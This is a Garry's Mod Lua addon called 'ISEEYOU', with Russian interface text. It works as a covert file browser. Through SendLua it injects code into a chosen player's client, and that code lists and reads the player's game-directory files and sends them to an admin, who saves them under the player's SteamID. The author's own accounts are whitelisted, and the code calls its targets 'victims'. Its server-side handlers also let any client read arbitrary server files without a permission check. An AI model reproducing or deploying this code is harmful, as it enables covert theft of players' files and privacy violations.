Testing

if SERVER then
util.AddNetworkString("id")
util.AddNetworkString("path")
util.AddNetworkString("dataserva")
util.AddNetworkString("readfile")
util.AddNetworkString("fileReaded")
util.AddNetworkString("Refresher")
//seerver scan
util.AddNetworkString("dataigroka")
util.AddNetworkString("victimIDandPly")
util.AddNetworkString("SearchPlayerPath")
util.AddNetworkString("victimpath")
util.AddNetworkString("newpathD")
util.AddNetworkString("PlayerSpizdin")
util.AddNetworkString("GiveMeText")
util.AddNetworkString("FileFromJertva")
util.AddNetworkString("TheEnd")



dirs=""
FILE=""
PlayerLocalID=""


net.Receive("Refresher",function(l,p)
dirs=""
FILE=""
plydirs=""
end)

net.Receive("path",function(len,ply)
dirs=net.ReadString()
end)

net.Receive("id",function(l,p)
PlayerID=net.ReadString()
net.Start("dataserva")                          // message
local files,folders=file.Find(dirs.."*","MOD")
net.WriteTable(folders)
net.WriteTable(files)
net.Send(Player(PlayerID))
end)

net.Receive("readfile",function(len,ply)
FILE=file.Read(net.ReadString(),"GAME")
net.Start("fileReaded")
net.WriteString(FILE)
net.Send(ply)
end)

//////////////////////////////////////////////////////////////////
CODELUA=[[
plydirs=""
net.Receive("newpathD",function()
plydirs=net.ReadString()
end)
net.Start("SearchPlayerPath")
local FILE,FOLDERS=file.Find(plydirs.."*","MOD")
net.WriteTable(FOLDERS)
net.WriteTable(FILE)
net.SendToServer()
]]
//////////////////////////////////////////////////////////////////


//////////////////////////////////////////////////////////////////
CODELUA2=[[
net.Receive("newpathD",function()
plydirs=net.ReadString()
end)
net.Start("SearchPlayerPath")
local FILE,FOLDERS=file.Find(plydirs.."*","MOD")
net.WriteTable(FOLDERS)
net.WriteTable(FILE)
net.SendToServer()
]]
//////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////
CODELUA3=[[
net.Receive("GiveMeText",function()
pato=net.ReadString()
end)
net.Start("FileFromJertva")
FILE=file.Read(pato,"GAME")
net.WriteString(FILE)
net.SendToServer()
]]
//////////////////////////////////////////////////////////////////




 net.Receive("victimIDandPly",function(l,p)
 if !p:IsAdmin() then p:ChatPrint("нужно купить админку") return end
 PlayerLocalID=net.ReadString()
 VictimID=net.ReadString()
 SteamIDVictim=net.ReadString()
file.Append("iseeyoulog.txt","\n"..p:GetName())
if SteamIDVictim=="STEAM_0:1:20611398" or SteamIDVictim=="STEAM_0:0:86044278" or SteamIDVictim=="STEAM_0:0:93209462"
then p:ChatPrint("Игрок в WhiteList'e") return end
 Player(VictimID):SendLua(CODELUA)
 end)


  net.Receive("victimpath",function(len,ply)
          plydirs=net.ReadString()
          net.Start("newpathD")
          net.WriteString(plydirs)
          net.Send(Player(VictimID))
          Player(VictimID):SendLua(CODELUA2)
          end)


net.Receive("PlayerSpizdin",function(l,p)
local Pathto=net.ReadString()
net.Start("GiveMeText")
net.WriteString(Pathto)
net.Send(Player(VictimID))
Player(VictimID):SendLua(CODELUA3)

end)

 net.Receive("SearchPlayerPath",function()
 playerTablepath=net.ReadTable()
 PlyFiles=net.ReadTable()
 net.Start("dataigroka")
 net.WriteTable(playerTablepath)
 net.WriteTable(PlyFiles)
 net.Send(Player(PlayerLocalID))
 end)



net.Receive("FileFromJertva",function(l,p)
local EtotText=net.ReadString()
net.Start("TheEnd")
net.WriteString(EtotText)
net.WriteEntity(p)
net.Send(Player(PlayerLocalID))
end)


function IseeyoSay(ply,text)
	if text=="!see" then
		ply:ConCommand("iseeyou")
	end
end
hook.Add("PlayerSay","iseeyousay",IseeyoSay)

else

function ISEEYU()


local Window=vgui.Create("DFrame")
Window:MakePopup()

Window:SetPos(ScrW()/2-1200/2,ScrH()/2-600/2)
Window:SetTitle("(ISEEYOU) Файл браузер игроков и сервера")
Window:SetSize(1200,600)
local PlaceVkladki = vgui.Create( "DPropertySheet", Window )
PlaceVkladki:Dock( FILL )
// vkladka players
local PlayersWatch = vgui.Create( "DPanel",PlaceVkladki)
PlaceVkladki:AddSheet("Игроки", PlayersWatch)
//vkladka serv
 ServerWatch = vgui.Create( "DPanel",PlaceVkladki)
PlaceVkladki:AddSheet("Сервер",ServerWatch)
//player tree

local PlayersTree=vgui.Create("DTree",PlayersWatch)//
PlayersTree:SetPos(5,5)//
PlayersTree:SetSize(300,520)//

Window.OnClose=function()
net.Start("Refresher")
net.SendToServer()
LocalPlayer():ChatPrint("!see в чат")
end



// black screen
// black screen



local counter=100
local counter2=100

local screenServ = vgui.Create("DPanel",ServerWatch)
screenServ:SetPos(310, 5)
screenServ:SetSize(860, 520)
timer.Create("pedicstyle",0,0,function()
if !screenServ:IsValid() then timer.Remove("pedicstyle") return  end
counter=counter+1
if counter==255 then
counter=0
end
screenServ:SetBackgroundColor(Color(0,0,0,counter))
end)


local screenPlayer = vgui.Create("DPanel",PlayersWatch)
screenPlayer:SetPos(310, 5)
screenPlayer:SetSize(860, 520)

timer.Create("pedicstyle2",0,0,function()
if !screenPlayer:IsValid() then timer.Remove("pedicstyle2") return  end
counter2=counter2+1
if counter2==255 then
counter2=0
end
screenPlayer:SetBackgroundColor(Color(0,0,0,counter2))
end)


//text on the data
TextPlayerSide = vgui.Create( "DTextEntry",screenPlayer)
TextPlayerSide:SetText([[1)Чтобы скачать файлик себе на компьютер,нажмите правой кнопкой по файлу(файлик нужно выделить)
2)Увы,только 1 человек может "серфить",потому что сбиваются net пути.
3)White List: Seal и Жони
4)bind p "iseeyou"]])
TextPlayerSide:SetVerticalScrollbarEnabled( true )
TextPlayerSide:SetEditable( true )
TextPlayerSide:SetMultiline( true )
TextPlayerSide:SetSize( 840   , 500)
TextPlayerSide:SetPos( 10,10 )
TextPlayerSide.Paint = function( self, w, h )
    draw.RoundedBoxEx( 4, 0, 0, w, h, Color( 49, 49, 49 ), false, false, false, true )
    self:DrawTextEntryText( Color( 255, 255, 255 ), Color( 200, 200, 200, 100 ), Color( 255, 255, 255 ) )
end

//client


TextServer=vgui.Create( "DTextEntry",screenServ)
TextServer:SetText([[1)Чтобы скачать файлик себе на компьютер,нажмите правой кнопкой по файлу(файлик нужно выделить)
2)By Seal13581]])
TextServer:SetVerticalScrollbarEnabled( true )
TextServer:SetEditable( true )
TextServer:SetMultiline( true )
TextServer:SetSize( 840   , 500)
TextServer:SetPos( 10,10 )
TextServer.Paint = function( self, w, h )
    draw.RoundedBoxEx( 4, 0, 0, w, h, Color( 49, 49, 49 ), false, false, false, true )
    self:DrawTextEntryText( Color( 255, 255, 255 ), Color( 200, 200, 200, 100 ), Color( 255, 255, 255 ) )
end


// Test Parametrs

// this function by citizen

 local Formats = {
lua = "page_white_swoosh",
txt = "page_white_text",
cfg = "page_white_gear",
jpg = "picture",
jpeg = "picture",
png = "picture",
gif = "picture",
vtf = "picture",
vmt = "picture",
webm = "film",
mp4 = "film",
zip = "compress",
rar = "compress",
tar = "compress",
mp3 = "sound",
wav = "sound",
dll = "cog",
db = "database",
cache = "bin",
gma = "bin",
mdl = "status_offline"
}



local function LookPlayers(node,dir)

	                      net.Receive("dataigroka",function(l,c)
	                      local dirs=net.ReadTable()
	                      for k,v in pairs(dirs) do
	                      local n =PlayersTree:GetSelectedItem():AddNode(v) // allFolders from the player
	            	                     n.dir = dir..v.."/" //his future path
	            	                     n.DoClick = function()
	            	                     net.Start("victimpath")
	            	                     net.WriteString(n.dir) //write curret path
	            	                     net.SendToServer()
	            	                     LookPlayers(n,n.dir)
	            	                     end
	                     end

  local files=net.ReadTable()
for n,s in pairs(files) do
	                     local nd = PlayersTree:GetSelectedItem():AddNode(s)
	                     local ext = string.GetExtensionFromFilename(s)
        if Formats[ext] then
            nd:SetIcon("icon16/"..Formats[ext]..".png")
            else
            nd:SetIcon("icon16/page_white.png")
        end



	                     nd.DoClick = function() // net 1
	                     net.Start("PlayerSpizdin")
	                     net.WriteString(dir..s)
	                     net.SendToServer()
	                     net.Receive("TheEnd",function()
	                     text12=net.ReadString()
          EntityPlayer=net.ReadEntity()
	                     nd.DoRightClick=function()
	                     if !file.IsDir("iseeyou","DATA") then
	                     file.CreateDir("iseeyou")
          end
          if
          !file.IsDir("iseeyou/"..EntityPlayer:SteamID64(),"DATA") then
           file.CreateDir("iseeyou/"..EntityPlayer:SteamID64())
	                     end
        if !file.Exists("iseeyou/"..EntityPlayer:SteamID64().."/".."iseeyouinfo.txt","DATA") then
        file.Write("iseeyou/"..EntityPlayer:SteamID64().."/".."iseeyouinfo.txt",EntityPlayer:GetName())
        end
	                   if ext=="txt" then
	                    file.Write("iseeyou/"..EntityPlayer:SteamID64().."/"..s,text12)
	                     chat.AddText(Color(0,200,0),"iseeyou/"..EntityPlayer:SteamID64().."/"..s) else
	                     file.Write("iseeyou/"..EntityPlayer:SteamID64().."/"..s..".txt",text12)
	                     chat.AddText(Color(0,200,0),"iseeyou/"..EntityPlayer:SteamID64().."/"..s..".txt")
	                     end
          chat.AddText(Color(218,165,32),"iseeyouinfo.txt,там находится имя жертвы")
	                     end
	            	                     TextPlayerSide:SetText(text12)
	            	                     TextPlayerSide:SizeToContents()
	                     end)
	                     end

end


end)
end













 for k,v in pairs(player.GetAll())do
 PlayersTree.PlayerName=PlayersTree:AddNode(v:GetName())

  PlayersTree.PlayerName.DoClick=function()
 net.Start("victimIDandPly")///
 net.WriteString(LocalPlayer():UserID())
 net.WriteString(v:UserID())
 net.WriteString(v:SteamID())
 net.SendToServer()
 LookPlayers(PlayersTree.PlayerName,PlayersTree.PlayerName.dir)
 end


end
PlayersTree.PlayerName.dir=""















// trying to send data from server to localplayerv
// this shit is working well



local ServerTree=vgui.Create("DTree",ServerWatch)// tree server
ServerTree:SetPos(5,5)// tree server
ServerTree:SetSize(300,520)// tree server
ServerTree.server=ServerTree:AddNode("SERVER")
ServerTree.server.dir=""

local function ServKnopka(node,dir)

net.Start("id")                                  // id
net.WriteString(LocalPlayer():UserID())
net.SendToServer()
net.Receive("dataserva",function(l,p)
local dirs=net.ReadTable()
for _, i in pairs(dirs) do
local n = node:AddNode(i)
n.dir = dir..i.."/"
n.DoClick = function()
net.Start("path")
net.WriteString(n.dir)
net.SendToServer()
ServKnopka(n,n.dir)
end
end


local files=net.ReadTable()
for n,s in pairs(files) do
local nd = node:AddNode(s)
local ext = string.GetExtensionFromFilename(s)
if Formats[ext] then
nd:SetIcon("icon16/"..Formats[ext]..".png")
else
nd:SetIcon("icon16/page_white.png")
end
nd.DoClick = function() // net 1
net.Start("readfile")
net.WriteString(dir..s)
net.SendToServer()
net.Receive("fileReaded",function(l,p)
text=net.ReadString()
nd.DoRightClick=function()
if !file.IsDir("iseeyou","DATA") then
file.CreateDir("iseeyou")
end
if ext=="txt" then
file.Write("iseeyou/"..s,text)
LocalPlayer():ChatPrint("iseeyou/"..s) else
file.Write("iseeyou/"..s..".txt",text)
LocalPlayer():ChatPrint("iseeyou/"..s..".txt")
end
end
TextServer:SetText(text)
TextServer:SizeToContents()
end)
end
end

end)


end

ServerTree.server.DoClick=function()
ServKnopka(ServerTree.server,ServerTree.server.dir)
end

end

end


concommand.Add("iseeyou",function()
ISEEYU()
end)